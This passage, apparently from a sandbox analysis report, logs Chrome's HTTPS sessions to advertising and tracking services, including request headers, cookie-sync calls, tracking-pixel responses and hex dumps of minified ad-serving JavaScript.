3D2023538075%26yrid%3D0gast8pipu9uc%26bka%3D0%26y_bx%3D1&adks=1481106528%2C3064630007%2C3690920304%2C3845938001%2C1006816889&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:20 UTC	844	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Observe-Browsing-Topics: ?1 Google-LineItem-Id: 6273031801,-2,-2,-2,-1 Google-Creative-Id: 138460953749,-2,-2,-2,-1 Google-MediationGroup-Id: -2,-2,-2,-2,539868 Google-MediationTag-Id: 910850 Date: Wed, 10 Jan 2024 23:27:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:20 UTC	408	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 2f 6d 61 69 6e 2f 64 74 2f 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 32 35 30 2c 33 30 30 2c 30 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 2c 5b 5b 22 49 44 3d 33 61 31 65 63 39 30 39 37 38 64 30 38 35 61 62 3a 54 3d 31 37 30 34 39 32 39 32 34 30 3a 52 54 3d 31 37 30 34 39 32 39 32 34 30 3a 53 3d 41 4c 4e 49 5f 4d 59 4a 6c 33 44 5a 58 77 66 51 62 55 35 6f 74 6f 37 4b 43 76 38 4b 74 49 43 30 64 51 22 2c 31 37 33 38 36 32 35 32 34 30 2c 22 2f 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 64 62 36 32 31 63 34 35 36 39 61 3a 54 3d 31 37 Data Ascii: 8000{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_right":["html",0,null,null,0,250,300,0,0,null,null,1,1,[["ID=3a1ec90978d085ab:T=1704929240:RT=1704929240:S=ALNI_MYJl3DZXwfQbU5oto7KCv8KtIC0dQ",1738625240,"/","yahoo.com",1],["UID=00000db621c4569a:T=17
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 41 4f 72 59 47 73 6e 64 47 6b 6d 78 43 39 31 4e 55 53 64 7a 4a 58 36 68 65 52 53 6f 30 4b 53 57 48 6b 6d 54 6c 51 6d 72 54 30 55 4b 4e 74 2d 49 50 61 48 67 37 70 4c 77 66 47 69 6e 5a 73 48 4d 67 43 4e 64 65 2d 47 57 50 5f 79 71 56 31 7a 6a 49 69 57 51 4f 4b 53 79 38 78 78 43 6a 79 62 45 4b 43 65 39 50 6a 4d 2d 56 2d 5f 59 72 70 44 57 31 65 6c 45 22 2c 22 43 4a 6a 4a 34 61 33 38 30 34 4d 44 46 51 66 51 34 77 63 64 6c 77 4d 4a 74 67 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 Data Ascii: ll,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGsndGkmxC91NUSdzJX6heRSo0KSWHkmTlQmrT0UKNt-IPaHg7pLwfGinZsHMgCNde-GWP_yqV1zjIiWQOKSy8xxCjybEKCe9PjM-V-_YrpDW1elE","CJjJ4a3804MDFQfQ4wcdlwMJtg",null,null,null,null,null,null,null,null,null,nu
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 29 7c 7c 28 71 28 29 3f 30 3a 70 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 71 28 29 3f 30 3a 70 28 22 45 64 67 65 22 29 29 7c 7c 28 71 28 29 3f 6e 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 70 28 22 45 64 67 2f 22 29 29 7c 7c 71 28 29 26 26 6e 28 22 4f 70 65 72 61 22 29 3b 63 6c 61 73 73 20 75 7b 7d 63 6c 61 73 73 20 76 7b 7d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 75 29 3b 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 76 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 62 3d 63 29 7b 72 65 74 75 72 6e 28 62 3d 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 26 26 62 2e 6e 6f 77 3f 62 2e 6e 6f 77 28 29 3a 6e 75 6c 6c 7d 3b 77 69 6e 64 6f 77 2e 72 75 6d 54 69 63 6b 3d 62 3d 3e 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 20 74 Data Ascii: )\|\|(q()?0:p("Opera"))\|\|(q()?0:p("Edge"))\|\|(q()?n("Microsoft Edge"):p("Edg/"))\|\|q()&&n("Opera");class u{}class v{}Object.freeze(new u);Object.freeze(new v);function w(b=c){return(b=b.performance)&&b.now?b.now():null};window.rumTick=b=>{var a=window;const t
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 75 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 2c 62 29 7b 61 3a 7b 76 61 72 20 63 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 3b 66 6f 72 28 76 61 72 20 64 3d 75 2c 66 3d 30 3b 66 3c 63 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 64 3d 64 5b 63 5b 66 5d 5d 2c 6e 75 6c 6c 3d 3d 64 29 7b 63 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 63 3d 64 7d 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 61 3a 62 7d 3b 76 61 72 20 62 61 3d 61 61 28 36 31 30 34 30 31 33 30 31 2c 21 31 29 2c 76 3d 61 61 28 35 37 32 34 31 37 33 Data Ascii: Library Authors. SPDX-License-Identifier: Apache-2.0 */ var u=this\|\|self;function aa(a,b){a:{var c=["CLOSURE_FLAGS"];for(var d=u,f=0;f<c.length;f++)if(d=d[c[f]],null==d){c=null;break a}c=d}a=c&&c[a];return null!=a?a:b};var ba=aa(610401301,!1),v=aa(5724173
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 7d 6c 65 74 20 4c 2c 6f 61 3d 21 76 3b 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 64 3d 61 5b 48 5d 7c 30 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 61 5b 48 5d 3d 64 7c 31 3b 72 65 74 75 72 6e 21 30 7d 76 61 72 20 4d 3b 63 6f 6e 73 74 20 71 61 3d 5b 5d 3b 71 61 5b 48 5d 3d 35 35 3b 4d 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 71 61 29 3b 63 6c 61 73 73 20 72 61 7b 7d 63 6c Data Ascii: ructor===Object}let L,oa=!v;function pa(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;const d=a[H]\|0;if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;a[H]=d\|1;return!0}var M;const qa=[];qa[H]=55;M=Object.freeze(qa);class ra{}cl
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 3c 61 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 61 5b 6d 5d 3d 78 61 28 61 5b 6d 5d 2c 62 2c 63 2c 64 2c 66 2c 65 29 3b 63 26 26 63 28 67 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 7a 61 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 76 3d 3d 3d 6a 61 3f 61 2e 74 6f 4a 53 4f 4e 28 29 3a 77 61 28 61 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 41 61 28 61 2c 62 2c 63 29 7b 63 6f 6e 73 74 20 64 3d 61 2e 6a 3b 6c 65 74 20 66 3d 64 5b 48 5d 3b 69 66 28 66 26 32 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 42 61 28 64 2c 66 2c 62 2c 63 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 42 61 28 61 2c 62 2c 63 2c 64 29 7b 63 6f 6e 73 74 20 66 3d 49 28 62 29 3b 69 66 28 63 3e 3d 66 29 7b 6c 65 74 20 65 2c 67 3d 62 3b 69 66 28 62 26 32 35 36 29 65 3d 61 Data Ascii: <a.length;m++)a[m]=xa(a[m],b,c,d,f,e);c&&c(g,a);return a}function za(a){return a.v===ja?a.toJSON():wa(a)};function Aa(a,b,c){const d=a.j;let f=d[H];if(f&2)throw Error();Ba(d,f,b,c);return a}function Ba(a,b,c,d){const f=I(b);if(c>=f){let e,g=b;if(b&256)e=a
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 68 2d 31 5d 3d 7b 7d 2c 6d 29 3b 62 72 65 61 6b 7d 67 3d 21 30 7d 65 3d 62 3b 63 3d 21 63 3b 6d 3d 61 2e 6a 5b 48 5d 3b 61 3d 49 28 6d 29 3b 6d 3d 2b 21 21 28 6d 26 35 31 32 29 2d 31 3b 76 61 72 20 68 3b 66 6f 72 28 6c 65 74 20 77 3d 30 3b 77 3c 64 2e 6c 65 6e 67 74 68 3b 77 2b 2b 29 7b 76 61 72 20 6b 3d 64 5b 77 5d 3b 69 66 28 6b 3c 61 29 7b 6b 2b 3d 6d 3b 76 61 72 20 6e 3d 65 5b 6b 5d 3b 6e 75 6c 6c 3d 3d 6e 3f 65 5b 6b 5d 3d 63 3f 4d 3a 69 61 28 29 3a 63 26 26 6e 21 3d 3d 4d 26 26 68 61 28 6e 29 7d 65 6c 73 65 7b 69 66 28 21 68 29 7b 76 61 72 20 6c 3d 76 6f 69 64 20 30 3b 65 2e 6c 65 6e 67 74 68 26 26 4a 28 6c 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 29 3f 68 3d 6c 3a 65 2e 70 75 73 68 28 68 3d 7b 7d 29 7d 6e 3d 68 5b 6b 5d 3b 6e 75 6c 6c 3d 3d 68 5b Data Ascii: h-1]={},m);break}g=!0}e=b;c=!c;m=a.j[H];a=I(m);m=+!!(m&512)-1;var h;for(let w=0;w<d.length;w++){var k=d[w];if(k<a){k+=m;var n=e[k];null==n?e[k]=c?M:ia():c&&n!==M&&ha(n)}else{if(!h){var l=void 0;e.length&&J(l=e[e.length-1])?h=l:e.push(h={})}n=h[k];null==h[
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 28 5b 5c 5c 5c 5c 73 5c 5c 5c 5c 53 5d 2a 29 29 3f 24 22 29 3b 66 75 6e 63 74 69 6f 6e 20 4a 61 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 76 61 72 20 66 3d 63 2e 6c 65 6e 67 74 68 3b 30 3c 3d 28 62 3d 61 2e 69 6e 64 65 78 4f 66 28 63 2c 62 29 29 26 26 62 3c 64 3b 29 7b 76 61 72 20 65 3d 61 2e 63 68 61 72 43 6f 64 65 41 74 28 62 2d 31 29 3b 69 66 28 33 38 3d 3d 65 7c 7c 36 33 3d 3d 65 29 69 66 28 65 3d 61 2e 63 68 61 72 43 6f 64 65 41 74 28 62 2b 66 29 2c 21 65 7c 7c 36 31 3d 3d 65 7c 7c 33 38 3d 3d 65 7c 7c 33 35 3d 3d 65 29 72 65 74 75 72 6e 20 62 3b 62 2b 3d 66 2b 31 7d 72 65 74 75 72 6e 2d 31 7d 76 61 72 20 4b 61 3d 2f 23 7c 24 2f 3b 20 66 75 6e 63 74 69 6f 6e 20 4c 61 28 61 29 7b 76 61 72 20 62 3d 61 2e 73 65 61 72 63 68 28 4b 61 29 2c 63 3d 4a 61 28 Data Ascii: ([\\\\s\\\\S]*))?$");function Ja(a,b,c,d){for(var f=c.length;0<=(b=a.indexOf(c,b))&&b<d;){var e=a.charCodeAt(b-1);if(38==e\|\|63==e)if(e=a.charCodeAt(b+f),!e\|\|61==e\|\|38==e\|\|35==e)return b;b+=f+1}return-1}var Ka=/#\|$/; function La(a){var b=a.search(Ka),c=Ja(
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 73 7c 7c 28 75 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3d 5b 5d 29 3b 63 6f 6e 73 74 20 63 3d 51 61 28 75 2e 64 6f 63 75 6d 65 6e 74 29 3b 69 66 28 62 29 7b 63 6f 6e 73 74 20 64 3d 66 3d 3e 7b 62 26 26 62 28 66 29 3b 63 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 63 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 64 2c 21 31 29 3b 63 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 63 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 64 2c 21 31 29 7d 3b 48 61 28 63 2c 22 6c 6f 61 64 22 2c 64 29 3b 48 61 28 63 2c 22 65 72 72 6f 72 22 2c 64 29 7d 63 2e 73 72 63 3d 61 3b 75 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 Data Ascii: s\|\|(u.google_image_requests=[]);const c=Qa(u.document);if(b){const d=f=>{b&&b(f);c.removeEventListener&&c.removeEventListener("load",d,!1);c.removeEventListener&&c.removeEventListener("error",d,!1)};Ha(c,"load",d);Ha(c,"error",d)}c.src=a;u.google_image_re
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 73 2e 67 3d 61 3b 74 68 69 73 2e 68 3d 62 7d 7d 2c 65 62 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 75 72 6c 3d 61 3b 74 68 69 73 2e 6f 3d 21 21 62 3b 74 68 69 73 2e 64 65 70 74 68 3d 6e 75 6c 6c 7d 7d 3b 6c 65 74 20 53 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 66 62 28 29 7b 63 6f 6e 73 74 20 61 3d 75 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 72 65 74 75 72 6e 20 61 26 26 61 2e 6e 6f 77 26 26 61 2e 74 69 6d 69 6e 67 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6e 6f 77 28 29 2b 61 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 67 62 28 29 7b 63 6f 6e 73 74 20 61 3d 75 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 72 65 74 75 72 6e 20 Data Ascii: s.g=a;this.h=b}},eb=class{constructor(a,b){this.url=a;this.o=!!b;this.depth=null}};let S=null;function fb(){const a=u.performance;return a&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function gb(){const a=u.performance;return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	50172	52.223.22.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	474	OUT	GET /xuid?ld=1&mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3631141743957125218505
2024-01-10 23:27:19 UTC	449	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluid=3631141743957125218505; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Tue, 09 Apr 2024 23:27:19 GMT; Secure; SameSite=None
2024-01-10 23:27:19 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	50139	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1359	OUT	GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929239; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	50191	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	738	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
2024-01-10 23:27:20 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8;Expires=Wed, 07 Feb 2024 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	50171	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1233	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:20 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ Set-Cookie: PugT=1704929239; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	50158	34.95.69.49	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	336	OUT	GET /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	230	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: application/octet-stream Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	50155	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	908	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=con&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AAAHl1xS8mtEBQMjNkpRAAAAAAA&expiration=1705015638&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
